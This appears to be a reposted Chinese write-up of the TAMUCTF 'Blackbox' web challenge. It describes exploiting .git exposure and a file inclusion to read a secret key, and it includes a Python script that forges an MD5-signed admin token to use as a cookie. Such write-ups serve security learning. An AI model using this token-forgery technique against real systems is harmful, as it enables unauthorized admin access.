记一道国际赛CTF web题

这篇具有很好参考价值的文章主要介绍了记一道国际赛CTF web题。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

这是一篇关于打d3ctf坐牢,然后去打国际赛的题解。。。。。。。

TAMUCTF [Blackbox]

首先打开页面,然后发现一个登陆框

记一道国际赛CTF web题

 刚开始最先想到就是弱口令登陆,尝试几个后发现登陆不进去。

之后我就换了一个思路,就是扫一下,看看能不能有什么东西被扫出来,结果还真扫出来点东西,一个flag.txt,一个flag.php,还有就是.git泄露。

 文章来源地址https://www.toymoban.com/news/detail-433580.html

记一道国际赛CTF web题

 先访问falg.txt结果被老外嘲笑一番,页面返回hahaha loser,没办法脱下代码进行代码审计吧。

审计之后发现存在文件包含,于是乎想起之前的falg.php,于是顺利成章的读取flag.php,但是哪有那么顺利,flag.php返回了一个youtobe的一个网址,靠,白高兴了。

没有办法,只有进行登陆了,看登陆后会不会有flag。

于是又走上了一条代码审计的不归路。

function verify_token(string $token) { 
  $token_data = explode('.', $token);
  if(hash('md5', SECRET_KEY . $token_data[0]) == $token_data[1]) {
    return true;
  }
  return false;
}               //这里是传入一个字符串,然后出现.号后分成俩部分,MD5哈希算法对SECRET_KEY和token_data[0]的组合字符串进行哈希处理,并将哈希结果与token_data[1]进行比较。如果两个值相同,则返回true,否则返回false。



function is_admin(string $token) { if(verify_token($token)) { $db = new SQLite3(DB_FILE); $data = json_decode(base64_decode(explode('.', $token)[0]), TRUE); $username = $data['username']; $user_key = $data['user_key']; $admin = $data['admin']; $statement = $db->prepare('SELECT * FROM users WHERE username=:uname AND key=:ukey;'); $statement->bindValue(':uname', $username); $statement->bindValue(':ukey', $user_key); $result = $statement->execute();//这里进行了一个查找数据库,如果转成JSON格式后的username与数据库中users表的username一样,并且user_key与key一样就可以进行登陆。 if($result != false && $result->fetchArray() != false && $admin == true) { return true; } return false; } }

 

 

 这里就这俩个方法比较重要,这俩个方法进行身份验证。

然后我们就可以下手了。

function verify_token(string $token) { 
  $token_data = explode('.', $token);
  if(hash('md5', SECRET_KEY . $token_data[0]) == $token_data[1]) {
    return true;
  }
  return false;
}

这里我们首先获得SECRET_KEY,这个SECRET_KEY,翻遍了所有文件都没有找到,但是在.gitignore文件下面找到了config.php,所以我们使用文件包含读取config.php,果不其然·,我们找到了SECRET_KEY

记一道国际赛CTF web题

 然后我们写一个脚本获取我们需要的字符串。

import hashlib
import json
import base64

# 定义 SECRET_KEY 和 Token 数据
SECRET_KEY = 'JYOFGX6w5ylmYXyHuMM2Rm7neHXLrBd2V0f5No3NlP8'
token_data = {
    "username": "admin",
    "user_key": "26ceb685f46e6d22",
    "admin": True
}

# 编码 Token 数据,生成 Token 字符串
encoded_token_data = base64.b64encode(json.dumps(token_data).encode()).decode()
hash_str = SECRET_KEY + encoded_token_data
hash_obj = hashlib.md5(hash_str.encode())
hash_result = hash_obj.hexdigest()
token_str = "{0}.{1}".format(encoded_token_data, hash_result)

# 验证 Token 字符串是否有效
token_parts = token_str.split('.')
if len(token_parts) != 2:
    print("Token 字符串不合法")
else:
    decoded_token_data = json.loads(base64.b64decode(token_parts[0]).decode())
    if ('username' in decoded_token_data and 'user_key' in decoded_token_data and 'admin' in decoded_token_data
        and decoded_token_data['username'] == 'admin' and decoded_token_data['user_key'] == '26ceb685f46e6d22'
        and decoded_token_data['admin'] is True):
        str_to_hash = SECRET_KEY + token_parts[0]
        hash_obj = hashlib.md5(str_to_hash.encode())
        hash_result = hash_obj.hexdigest()
        if hash_result == token_parts[1]:
            print("Token 字符串有效:", token_str)
        else:
            print("Token 字符串无效")
    else:
        print("Token 字符串无效")

 

构造cookie之后就能获得flag。

记一道国际赛CTF web题

 

到了这里,关于记一道国际赛CTF web题的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 这是一款关于网页自动化操作的软件

    有开发这款软件的想法是因为工作中有部分任务重复性太多,作为开发工程师,一开始自己写了脚本完成了这些任务。换个思路,各行各业中也会遇到重复性工作,但是并不是每个人都会开发,那本人就想有没有一种软件也可以让不懂开发的人也可以实现自动化工作。于是,

    2024年01月21日
    浏览(32)
  • 入坑CTF的第一篇CRC32爆破【MISC】

    最近遇到一道CTF的一道题,大意是: 一个被压缩的Zip压缩包,在无法使用加密口令解压的情况下,如何获取其中文本文件的内容。 思路:对于文件大小6B的文件,可以利用CRC32的校验值,爆破文本内容。 我自己做了一个压缩包,没有使用密码加密,测试一下(以4字节的文件

    2024年02月12日
    浏览(33)
  • 这是一篇ChatGPT写的博客:vue3&js坑——在循环中发起网络请求,返回结果只有最后一次网络请求的数据

    在开发过程中,本想记录遇到的一个bug,自己写完博客之后,突发奇想,请 ChatGPT 帮我写了一篇同样内容的博客。 我需要在循环中发起网络请求,每次循环都把网络请求返回来的数据存入前端数据库RxDB中。我使用forEach方法,来实现: 上述代码是一个3次循环,每次循环都向

    2024年02月03日
    浏览(30)
  • 【C++】早绑定、析构与多态 | 一道关于多态的选择题记录

    今天在和群友聊天的时候看到了一道很坑的题目,分享给大家 先来看看题目 请问这个的输出是什么? 答案是E,编译出错! 先来说说这道题目里面涉及到了什么知识点 多态调用; 多态重写函数需要满足什么条件; 类内函数后加 const 的作用; 类内函数后加 override 的作用;

    2024年02月11日
    浏览(28)
  • 【web-ctf】ctf_BUUCTF_web(2)

    1. [RCTF2015]EasySQL 考点: 二次注入 报错注入 正则表达式查找 reverse函数 学到的知识点: 二次注入原理 二次注入的标志: (1)可以自行注册用户 (这是为了注册一些特殊的用户名到数据库中(比如会导致之后报错、修改其他用户的密码等)) (2)可以使用修改密码等 (二

    2024年02月06日
    浏览(35)
  • [CTF]2022美团CTF WEB WP

    最终排名 源码 由上源码可知想要造成pickle反序列化需要两步: 1.得到secret_key 2.绕过黑名单造成pickle反序列化漏洞 那么先来实现第一步: app.config[‘SECRET_KEY’] = os.urandom(2).hex() #设置key为随机打乱的4位数字字母组合例如a8c3 从这里知道,想要爆破key其实并不难,可以自己试试 那

    2024年02月06日
    浏览(35)
  • 一、CTF-Web-信息泄露(记录CTF学习)

    目录 1.源码泄露  1-1.页面源代码泄露  1-2.敏感文件泄露        1-2-1.备份(.swp/.bak/.beifen/~/phps等)        1-2-2.数据库(mdb)        1-2-3.压缩包(zip/tar.gz/rar/7z等)        1-2-4.路径(.git/.svn/.hg/.DS_Store/WEBINF/web.xml/cvs/Bazaar/bzr)      2.robots.txt泄露      3.404页面泄露

    2024年02月06日
    浏览(40)
  • CTF—WEB基础篇

    标题 复制 段落 复制 链接 复制 图像 复制 JavaScript 是互联网上最流行的脚本语言,这门语言可用于 HTML 和 web,更可广泛用于服务器、PC、笔记本电脑、平板电脑和智能手机等设备。 JavaScript 是脚本语言 JavaScript 是一种轻量级的编程语言。 JavaScript 是可插入 HTML 页面的编程代码

    2024年02月07日
    浏览(31)
  • CTF - Web 干货

    目录 1、php反序列化之pop链构造 2、常见php伪协议的使用 (1)php://filter (2)php://input 3、文件上传常规操作 (1) 前端绕过 (2) 修改文件类型 (3) 配合.user.ini 或.htaccess解析 (4) 爆破可解析后缀 (5) 针对Windows系统特性的绕过 (6) 文件包含结合图片马 (7) 条件竞争 常见魔术方法的触发

    2024年01月18日
    浏览(25)
  • CTF解题-web类

    1.题目描述: 解决方法: 工具的使用: 2.题目描述 解决方法:点击查询 1.题目描述: 解题思路: 2、题目描述【白名单检测】 解题思路: 3.问题描述: 在进行文件上传时,各种绕过方式都实验了一遍,都显示无法绕过; 当上传1.asp;.jpg时,返回错误页面,查看可知存在名

    2024年02月06日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包